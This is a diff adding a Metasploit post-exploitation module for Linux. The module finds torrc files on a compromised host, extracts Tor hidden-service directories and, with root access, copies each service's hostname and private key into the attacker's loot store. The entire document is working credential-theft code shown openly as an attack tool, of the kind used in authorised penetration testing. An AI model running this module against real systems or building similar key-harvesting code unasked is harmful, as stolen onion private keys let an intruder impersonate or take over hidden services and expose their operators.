|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | +# Adapted from post/linux/gather/enum_configs.rb |
| 6 | +## |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Post |
| 9 | + |
| 10 | + include Msf::Post::Linux::System |
| 11 | + include Msf::Post::Linux::Priv |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super( update_info( info, |
| 15 | + 'Name' => 'Linux Gather TOR Hidden Services', |
| 16 | + 'Description' => %q{ |
| 17 | + This module collects the hostnames name and private keys of |
| 18 | + any TOR Hidden Services running on the target machine. It |
| 19 | + will search for torrc and if found, will parse it for the |
| 20 | + directories of Hidden Services. However, root permissions |
| 21 | + are required to read them as they are owned by the user that |
| 22 | + TOR runs as, usually a separate account. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Harvey Phillips <xcellerator[at]gmx.com>', |
| 28 | + ], |
| 29 | + 'Platform' => ['linux'], |
| 30 | + 'SessionTypes' => ['shell', 'meterpreter'] |
| 31 | + )) |
| 32 | + end |
| 33 | + |
| 34 | + def run |
| 35 | + distro = get_sysinfo |
| 36 | + h = get_host |
| 37 | + print_status("Running module against #{h}") |
| 38 | + print_status("Info:") |
| 39 | + print_status("\t#{distro[:version]}") |
| 40 | + print_status("\t#{distro[:kernel]}") |
| 41 | + print_status("Looking for torrc...") |
| 42 | + find_torrc |
| 43 | + end |
| 44 | + |
| 45 | + def save(file, data, ltype, ctype="text/plain") |
| 46 | + fname = ::File.basename(file) |
| 47 | + loot = store_loot(ltype, ctype, session, data, fname) |
| 48 | + print_status("#{fname} stored in #{loot.to_s}") |
| 49 | + end |
| 50 | + |
| 51 | + def get_host |
| 52 | + case session.type |
| 53 | + when /meterpreter/ |
| 54 | + host = sysinfo["Computer"] |
| 55 | + when /shell/ |
| 56 | + host = cmd_exec("hostname").chomp |
| 57 | + end |
| 58 | + |
| 59 | + return host |
| 60 | + end |
| 61 | + |
| 62 | + def find_torrc |
| 63 | + config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n") |
| 64 | + if config.length == 0 |
| 65 | + print_error ("No torrc file found, maybe it goes by a different name?") |
| 66 | + else |
| 67 | + hidden = Array.new |
| 68 | + # For every torrc file found, parse them for HiddenServiceDir |
| 69 | + config.each do |c| |
| 70 | + print_good("Torrc file found at #{c}") |
| 71 | + services = cmd_exec("cat #{c} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n") |
| 72 | + # For each HiddenServiceDir found in the torrc(s), push them to the hidden array |
| 73 | + services.each do |s| |
| 74 | + hidden.push(s) |
| 75 | + end |
| 76 | + end |
| 77 | + # Remove any duplicate entries |
| 78 | + hidden = hidden.uniq |
| 79 | + # If hidden is empty, then no Hidden Services are running. |
| 80 | + if hidden.length != 0 |
| 81 | + print_good("#{hidden.length} hidden services have been found!") |
| 82 | + else |
| 83 | + print_bad("No hidden services were found!") |
| 84 | + end |
| 85 | + |
| 86 | + if is_root? |
| 87 | + # For all the Hidden Services found, loot hostname file |
| 88 | + hidden.each do |f| |
| 89 | + output = read_file("#{f}hostname") |
| 90 | + save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/ |
| 91 | + end |
| 92 | + |
| 93 | + # For all the Hidden Services found, loot private_key file |
| 94 | + hidden.each do |f| |
| 95 | + output = read_file("#{f}private_key") |
| 96 | + save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/ |
| 97 | + end |
| 98 | + else |
| 99 | + print_error("Hidden Services were found, but we need root to access the directories") |
| 100 | + end |
| 101 | + end |
| 102 | + end |
| 103 | +end |
0 commit comments